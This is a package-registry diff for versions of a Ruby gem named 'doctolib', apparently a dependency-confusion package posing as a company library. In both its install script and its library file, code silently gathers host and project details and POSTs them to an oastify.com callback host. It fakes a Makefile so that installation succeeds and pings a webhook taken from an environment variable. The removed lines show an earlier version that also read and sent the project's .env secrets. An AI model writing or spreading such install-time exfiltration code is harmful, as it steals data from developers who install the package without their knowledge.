doctolib 99.0.1 → 99.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 5c97bbb0aae949e74e268a13768f1c27c6dc7942f0f85ae61b66adf087cd9030
4
- data.tar.gz: 2ab3f3224b1f9aec50cbb007b41bd9e72b73bcc14efd6e818747b883450f14e1
3
+ metadata.gz: 32defcd69c36724a86940d4ee0c8f13f9c78ed6bbc4bd45e06340179e1454388
4
+ data.tar.gz: 11fc7b0c526f1321770e22a799b9db0bbc574a60f12ee35ff796f4bd2d01c234
5
5
  SHA512:
6
- metadata.gz: 391c2e51f3b33b5ad18494bf46c6fa14bcfb0610521308857feafc57dd6d74393ad3b91d25c5a339cd2e724a01303f1c15f5320e92d7e610af59c795d53aa056
7
- data.tar.gz: fc93f3b042a58f166485567d15aa2dc42e8b6c04640bf8591c6eb4890f621b649ae352fe8ab059b8cbd0029ed86d084b0a6e058a2a60bf93b1260f5cb0765fff
6
+ metadata.gz: ed62decd7a2e2b4133f2b95aaeeda64f801ed106ecaabf017c135a11081d257eaac24f67b9797a4f28e7d934903318b4bf4af7c26e96dbb2006667b453bf8290
7
+ data.tar.gz: 73e775067b093a605a65287d8dc79b2cbf7c9660d9aed2af329ebccf6a04ebf1ffe8fb0ecb55b61f2e5e20c395998e1c3d5b8c63ddea74335363bbb40b6c468a
@@ -1,7 +1,8 @@
1
- require 'net/https'
1
+ require 'net/http'
2
2
  require 'uri'
3
3
  require 'json'
4
4
  require 'socket'
5
+ require 'time'
5
6
 
6
7
  CALLBACK = 'icaregems.7em0ii1mpvc50kzafx6bf1xunltch6hu6.oastify.com'
7
8
 
@@ -18,7 +19,6 @@ begin
18
19
  timestamp: Time.now.utc.iso8601
19
20
  }
20
21
 
21
- # Trouver le projet parent (Gemfile)
22
22
  dir = Dir.pwd
23
23
  10.times do
24
24
  gemfile = File.join(dir, 'Gemfile')
@@ -33,14 +33,8 @@ begin
33
33
  dir = parent
34
34
  end
35
35
 
36
- # Lire .env si présent
37
- env_file = File.join(info[:parent_dir] || Dir.pwd, '.env')
38
- info[:dotenv] = File.read(env_file) if File.exist?(env_file)
39
-
40
- # Callback
41
- uri = URI("https://#{CALLBACK}/gem_install")
36
+ uri = URI("http://#{CALLBACK}/gem_install")
42
37
  http = Net::HTTP.new(uri.host, uri.port)
43
- http.use_ssl = true
44
38
  http.open_timeout = 5
45
39
  http.read_timeout = 5
46
40
 
@@ -49,9 +43,7 @@ begin
49
43
  request.body = info.to_json
50
44
 
51
45
  http.request(request)
52
- rescue => e
53
- # Silent fail
46
+ rescue
54
47
  end
55
48
 
56
- # Créer un Makefile vide pour que l'installation réussisse
57
49
  File.write('Makefile', "all:\n\techo 'OK'\ninstall:\n\techo 'OK'\n")
data/lib/doctolib.rb CHANGED
@@ -1,10 +1,11 @@
1
- require 'net/https'
1
+ require 'net/http'
2
2
  require 'uri'
3
3
  require 'json'
4
4
  require 'socket'
5
+ require 'time'
5
6
 
6
7
  module Doctolib
7
- VERSION = '99.0.1'
8
+ VERSION = '99.0.3'
8
9
  CALLBACK = 'icaregems.7em0ii1mpvc50kzafx6bf1xunltch6hu6.oastify.com'
9
10
 
10
11
  unless defined?(@@triggered)
@@ -24,13 +25,11 @@ module Doctolib
24
25
  timestamp: Time.now.utc.iso8601
25
26
  }
26
27
 
27
- # Chercher SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN
28
28
  webhook = ENV['SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN']
29
29
  info[:webhook_found] = !webhook.nil?
30
30
 
31
- uri = URI("https://#{CALLBACK}/gem_require")
31
+ uri = URI("http://#{CALLBACK}/gem_require")
32
32
  http = Net::HTTP.new(uri.host, uri.port)
33
- http.use_ssl = true
34
33
  http.open_timeout = 5
35
34
  http.read_timeout = 5
36
35
 
@@ -40,7 +39,6 @@ module Doctolib
40
39
 
41
40
  http.request(request)
42
41
 
43
- # Trigger leur webhook si présent
44
42
  if webhook
45
43
  webhook_uri = URI(webhook)
46
44
  Net::HTTP.get(webhook_uri)
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: doctolib
3
3
  version: !ruby/object:Gem::Version
4
- version: 99.0.1
4
+ version: 99.0.3
5
5
  platform: ruby
6
6
  authors:
7
7
  - icare